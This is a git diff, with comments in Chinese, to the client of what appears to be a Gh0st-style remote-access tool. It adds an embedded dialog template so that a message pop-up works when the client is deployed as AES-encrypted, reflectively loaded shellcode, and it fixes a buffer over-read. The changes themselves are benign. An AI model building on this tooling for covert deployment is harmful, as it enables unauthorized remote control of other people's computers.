diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index c59728b..fa43b98 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -290,6 +290,7 @@ + diff --git a/client/ClientDll_vs2015.vcxproj.filters b/client/ClientDll_vs2015.vcxproj.filters index 89d21b5..dfab08c 100644 --- a/client/ClientDll_vs2015.vcxproj.filters +++ b/client/ClientDll_vs2015.vcxproj.filters @@ -120,6 +120,7 @@ + diff --git a/client/TalkDialogTemplate.h b/client/TalkDialogTemplate.h new file mode 100644 index 0000000..efe3d91 --- /dev/null +++ b/client/TalkDialogTemplate.h @@ -0,0 +1,33 @@ +// TalkDialogTemplate.h: IDD_DIALOG 的编译后 DLGTEMPLATEEX(内嵌内存模板) +// +// 用途:加壳部署(EXE + SC_AES/sRDI)的客户端里,TalkManager 的 hInstance 是外壳进程 +// 映像,其资源里没有 IDD_DIALOG;而载荷以裸 shellcode 运行、未注册进加载器, +// FindResource/LoadResource/DialogBoxParamA 一律取不到对话框资源。此时用下面的内存模板 +// 直接 DialogBoxIndirectParamA 建窗,与部署形态无关。 +// +// 数据来源:client/Script.rc 的 IDD_DIALOG(DIALOGEX)。DLGTEMPLATEEX 的字符串字段 +// 一律是 UTF-16,同一份字节既可用于 A 接口也可用于 W 接口。 +// +// 重新生成(改动 Script.rc 的 IDD_DIALOG 后必须同步): +// 1. rc /fo dlg.res dlg.rc (dlg.rc 只保留与 Script.rc 相同的 IDD_DIALOG 块) +// 2. link /dll /noentry /machine:x64 /out:dlg.dll dlg.res +// 3. 从 dlg.dll 的 RT_DIALOG(5) → 101 → 任意语言 取数据块,按 16 字节一行导出。 +// 当前块 104 字节:CAPTION "消息提示"、FONT 10 "System" charset 0、 +// 控件 ID 1000,与 Script.rc 完全一致;已与构建出的 ghost.exe 的 +// RT_DIALOG(5) → 101 逐字节比对一致。 + +#ifndef YAMA_TALK_DIALOG_TEMPLATE_H +#define YAMA_TALK_DIALOG_TEMPLATE_H + +// DLGTEMPLATEEX 的 DWORD 字段要求模板指针 4 字节对齐。 +__declspec(align(4)) static const unsigned char kTalkDialogTemplate[] = { + 0x01, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x00, 0xC8, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x6D, + 0x6F, 0x60, 0xD0, 0x63, 0x3A, 0x79, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x00, + 0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x50, 0x05, 0x00, 0x05, 0x00, 0xAA, 0x00, 0x5F, 0x00, + 0xE8, 0x03, 0x00, 0x00, 0xFF, 0xFF, 0x82, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, + 0x69, 0x00, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +}; + +#endif // YAMA_TALK_DIALOG_TEMPLATE_H diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp index f507aed..e03a008 100644 --- a/client/TalkManager.cpp +++ b/client/TalkManager.cpp @@ -4,6 +4,7 @@ #include "stdafx.h" #include "TalkManager.h" +#include "TalkDialogTemplate.h" #include "Common.h" #include "resource.h" #include @@ -49,10 +50,23 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } default: { - memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer))); + // 服务端只发正文、不带结尾 NUL:按实际长度补终止符(留一格), + // 否则正好填满缓冲区时 SetDlgItemText 会越界读 + size_t nCopy = min(ulLength, sizeof(g_Buffer) - 1); + memcpy(g_Buffer, szBuffer, nCopy); + g_Buffer[nCopy] = '\0'; //创建一个DLG - DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG), - NULL, DialogProc, (LPARAM)this); //SDK C MFC C++ + INT_PTR nRet = DialogBoxParamA(m_hInstance, MAKEINTRESOURCEA(IDD_DIALOG), + NULL, DialogProc, (LPARAM)this); //SDK C MFC C++ + if (nRet == -1) { + // 与聊天窗口同样的原因:加壳部署(EXE + SC_AES/sRDI)时 m_hInstance 是 + // 外壳进程映像,取不到 IDD_DIALOG 资源,DialogBoxParamA 直接失败(Win11 + // 实测 err=1812/59),右下角消息窗口不会出现。回退到内嵌的编译后模板。 + DWORD dwError = GetLastError(); + Mprintf("DialogBoxParamA(%lu) 失败,改用内嵌对话框模板\n", dwError); + DialogBoxIndirectParamA(m_hInstance, (LPCDLGTEMPLATEA)kTalkDialogTemplate, + NULL, DialogProc, (LPARAM)this); + } break; } } @@ -97,6 +111,15 @@ VOID CTalkManager::OnInitDialog(HWND hDlg) { MoveWindow(hDlg, 0, 0, 0, 0, TRUE); + // 标题栏:DialogBoxParamA 会把模板里的 UTF-16 标题按系统 ANSI 代码页转换, + // 德语等 1252 系统上"消息提示"会变成 "???"。这里在显示前用 W 接口重设标题 + // (消息正文仍走 ANSI,保持原有编码语义)。中文系统显示中文,其余显示英文。 + { + static const bool bChineseUI = + (PRIMARYLANGID(GetUserDefaultUILanguage()) == LANG_CHINESE); + SetWindowTextW(hDlg, bChineseUI ? L"消息提示" : L"Message"); + } + static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG)); ::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon); diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index c219114..43838ac 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -303,6 +303,7 @@ + diff --git a/client/ghost_vs2015.vcxproj.filters b/client/ghost_vs2015.vcxproj.filters index 7af216b..d853842 100644 --- a/client/ghost_vs2015.vcxproj.filters +++ b/client/ghost_vs2015.vcxproj.filters @@ -148,6 +148,7 @@ +